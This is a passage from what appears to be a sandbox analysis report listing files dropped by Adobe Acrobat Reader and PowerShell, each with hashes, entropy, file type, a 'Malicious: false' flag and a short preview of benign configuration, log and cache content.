SHA1:	F635C0ACC7DD715F9EBF8335833D86DE619F20E6
SHA-256:	BF5B40F08DA3A2517B4F4F018FEE2CABBB6C66B5478F5C0A45732D760B7869F3
SHA-512:	B6F136B7E146CE687EBA6F7C9C9CFC085A59281BDCE99FCBA1F29D5E514762D65235576139F510FC2B007106FDEF93EA99FC0FCE3D1C604D25CCE6E5D5FC80B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6511903937899515
Encrypted:	false
SSDEEP:	24:Yv6XuIiQxYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGP:YvPvQUBgkDMUJUAh8cvMGP
MD5:	8607CF2775E59806EE498849FA45172D
SHA1:	C232A9911FC725C0A8CC9BA7A67E8858A1D698D8
SHA-256:	424A3129A7E3B50996A8EE3D538DEC8F465B92F78F09CD97D81EB52993B3F072
SHA-512:	C3DCB061E33C88685D074FBE4E75CE3BC850873AE0FEDE3357C0F7E2D0D42C644C94A46981E0E68AD3BCB60D5AB3FBE5BA17EFAAF3C3728460870FEBFF77ADF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.20385463903167
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfshHHrPeUkwRe9:YvXKXuTYpW7QxnGUUUkee9
MD5:	342F2465D2519EE184998C373B05F4A2
SHA1:	99BADE8807E349F27DB0E42AA1A8DC88366C142C
SHA-256:	0FBB600955C8E98332A7060BE72F259A3E01F8BFE5D8B017BECC8E33FCFDDB0F
SHA-512:	A9F39BAE6CE38A4F4F3AF40F9FE98527A87D6BE258FFF05EB72430B31614BB6BDA4728A091F38EB1348FCD6E8CDDB9DFFC1C8E15EEC02D2967041200AC6454C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.213025587612935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJTqgFCrPeUkwRe9:YvXKXuTYpW7QxnGTq16Ukee9
MD5:	374218CEFB5DAFE0622A4DBA4EA187C3
SHA1:	E4255A146A94DC24772E7B59B2B67FE0B1FAFB97
SHA-256:	339F1C94DC76015C0AB79E723B4AC02193F24D2D18EBE10B4E30F61C69D29376
SHA-512:	F2E3B1B183971652619357F5E6127421A57BD0E1587C40107D6B45ED8DEC5F5AE605EA2816C21D5F8C2C04B7BD4A2FD41309E2F0B941B956DEDD5D06E6F68DCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137206231623181
Encrypted:	false
SSDEEP:	48:YRBiDWdrV/AX695PohbcQLp+bdphOJOoyc8mNVn7T/yh9/r5fW:OB3kX6SxLp+V1CNV7+/js
MD5:	857695AFA1AA80AAF060D4518DD7EAAB
SHA1:	3804C65153CBBC1A1A06759AD78745A53FA1A084
SHA-256:	8C3788E84928BFA70C99C2CA41C4DABCB14ADD5CEFC8F3FB25232240F5C38B0F
SHA-512:	20703AFDA73CD5FBB8781EE380719B90CFCC5DEB7877D6ECA2DE99283D9B2298E622AA1ABE101C99F7506A46681C4490EFA79932EED9700BF07B6C8A3887556F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9b041fe4a65a353366dfa9be1ec3dc9d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736533959000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"67dbd776e27d34e69173de9a115f9ffd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736533959000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0c6b9a47de3c92b26d78666fa24a83f6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736533959000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4c4f96a34188b9dd737f558a62a30010","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736533959000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f00eec018fa2343b2740ddcd9e5131de","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736533959000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f644aa04cbf87e5a6d8326964c5593e3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9843429215705611
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpNLE4zJwtNBwtNbRZ6bRZ4ALEF:TVl2GL7ms6ggOVpNLzutYtp6P30
MD5:	E15B1014913B036246A59D2E44EA9297
SHA1:	BFA75E85DE8558E5DDE76C331D6EE6830D9606ED
SHA-256:	33ACF9333FB102514FB553D9719460F478FBD8DE0E03677F66D19B7A70F8A629
SHA-512:	3D4205BFF8E6BC8462933E9E102D5210E360557503E9B9F5DBD7CAE11015469B8A918BC1C80D497582B940FDFBABA5926CA4EF9B4E47C6B108C4012F4C1358B6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3390730437451475
Encrypted:	false
SSDEEP:	24:7+t8nAD1RZKHs/Ds/SpNLEPzJwtNBwtNbRZ6bRZWf1RZKeqLBx/XYKQvGJF7ursd:7M8GgOVpN0zutYtp6PM7qll2GL7msd
MD5:	7F88123E6A60337C8B6FD44C7C4E3413
SHA1:	FF14DD2596D0315536DFEBDCE79694EDE842FA51
SHA-256:	CF76D78C66E33D0CE861257DD9353E620F5DE33A5FE8512FD10A0681FC757ACF
SHA-512:	9009C44E967D7886D131E355329467BDD2D070077C951CCA63CC3528C4FF11FEF12EAB7D1A991F963605147DD75F1604643938BEE68242A75B81E5F25C3A1338
Malicious:	false
Preview:	.... .c.....~..8......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg0i67OumI6Pj3OYMpBwnWkJgVsYyu:6a6TZ44ADE0iCvmIgj/vssK
MD5:	940A03A354B24D2A83650A2B088FD0BB
SHA1:	F972D0BF56EAC3A44B8F1D196530CE721FA2D566
SHA-256:	C55A5DCDE1C2C33686A5505D7AEAF042234D22FAC1277EFF05802D056C75AB72
SHA-512:	1BC0E19F5E7A05959DDCF1FBE7F7BAE88BE41C4A77D318C0F48D83EB244899FEC188A480A759FC5630B2CF311A87F43988D5D73D5D8DFCECCE51AD29F4624DB7
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI95207.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEdNgH:Qw946cPbiOxDlbYnuRK+bDdg
MD5:	4F24871A517C94C89EDA00FE51FE00F2
SHA1:	D4DF445B92B283050AD33621E4ABEB6FFF7B405F
SHA-256:	2F9882C35787FACF9352E922FC743795E1EECA42D61DF20EBDCD9A6906E02651
SHA-512:	9CDC90B8AC804A78364A2A5B24F1CC53322DDBC7B4FF3BD44E5A4490C0753C379A00706CCA8D5B14CF75D8DBC22A5A2FEE59BC8D7EF0493DB42B46737FB789DE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.3.2.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bg4ban1q.cme.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enp5s1sf.2fw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-32-35-998.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.343846850510341
Encrypted:	false
SSDEEP:	384:8HzyLXOm6CpJg6W4E/vl/G7LU/+18agIDpWOI6yYPtd1blcRq6JD5AjAV4CwQYjZ:X12E
MD5:	6D11F9CBBAC4BC79C9EEC77A830ABBCA
SHA1:	790FB0ABFA643101D51D6CEE4BE0E949748CD132
SHA-256:	943C91D7CDED80058C161EF315729A70F8013808F43080A70284737212C861C9
SHA-512:	1EE20342C29CDD00739B25F7A37933778729D8DB880C98A40E8E331390E33E773BCFD411499A9054A5D599DCE081DB43FC4493C752D99D8847C041549BD0B444
Malicious:	false
Preview:	SessionID=06454632-3fa8-46ea-ad98-e471650ba6ff.1736533956008 Timestamp=2025-01-10T13:32:36:008-0500 ThreadID=7844 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=06454632-3fa8-46ea-ad98-e471650ba6ff.1736533956008 Timestamp=2025-01-10T13:32:36:010-0500 ThreadID=7844 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=06454632-3fa8-46ea-ad98-e471650ba6ff.1736533956008 Timestamp=2025-01-10T13:32:36:010-0500 ThreadID=7844 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=06454632-3fa8-46ea-ad98-e471650ba6ff.1736533956008 Timestamp=2025-01-10T13:32:36:010-0500 ThreadID=7844 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=06454632-3fa8-46ea-ad98-e471650ba6ff.1736533956008 Timestamp=2025-01-10T13:32:36:010-0500 ThreadID=7844 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397252118880982
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbv:Xr
MD5:	0C21CE355E9522E13D274413E7596605
SHA1:	7ED4A71BDDC23F4AEF08C9F1E35DAD9F6A1E0D90
SHA-256:	1838601554C5605B25D237DAF1511934F45B84A99E77F6B6221F1B360627EBBB
SHA-512:	23EFFFF9FCD05A72AD5B98FFBDDA85638A4CE9E7351E30CF4115BC5AC8DC86A7F2BD013F6732B6866042E7FE7842A789F6B6083343F3CCA7134BB681DD1AC64E
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\245bed12-7b0a-4902-ab38-b673c872cbe8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3163bc73-5b40-4a86-bba1-e00b25a50574.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\af1216ef-847e-42a3-813d-9ff9ca768948.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e3191ec1-2dcb-4514-8a55-fd5475a076c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
